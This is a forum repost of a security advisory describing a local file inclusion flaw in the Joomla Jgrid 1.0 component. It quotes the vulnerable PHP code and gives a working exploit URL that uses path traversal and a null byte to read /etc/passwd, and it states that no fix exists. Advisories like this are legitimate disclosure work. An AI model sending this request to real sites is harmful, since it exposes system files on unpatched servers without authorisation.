首页
社区
课程
招聘
[转帖][推荐]Joomla Component Jgrid 1.0 Local File Inclusion Vulnerability
发表于: 2010-8-18 06:13 2287

[转帖][推荐]Joomla Component Jgrid 1.0 Local File Inclusion Vulnerability

2010-8-18 06:13
2287
Jgrid 1.0 Joomla Component Local File Inclusion Vulnerability  

   

Name              Jgrid  

Vendor            http://datagrids.clubsareus.org  

Versions Affected 1.0  

X. INDEX  

   

I.    ABOUT THE APPLICATION  

II.   DESCRIPTION  

III.  ANALYSIS  

IV.   SAMPLE CODE  

V.    FIX  

   

   

I. ABOUT THE APPLICATION  

________________________  

   

DATA GRID Component built on the popular EXTJS Framework.  

   

   

II. DESCRIPTION  

_______________  

   

A parameter is not properly sanitised before being  used  

by the require_once function.  

   

   

III. ANALYSIS  

_____________  

   

Summary:  

   

A) Local File Inclusion  

   

   

A) Local File Inclusion  

_______________________  

   

The  controller  parameter in jgrid.php is not  sanitised  

before  being  used by the PHP function's require_once().  

This allows a guest to include local files. The following  

is the affected code:  

   

if($controller = JRequest::getVar('controller')) {  

    require_once (JPATH_COMPONENT.DS.'controllers'.DS.$controller.'.php');  

}  

   

   

IV. SAMPLE CODE  

_______________  

   

A) Local File Inclusion  

   

http://site/path/index.php?option=com_jgrid&controller=../../../../../../../../etc/passwd%00  

   

   

V. FIX  

______  

   

No fix.

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 0
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//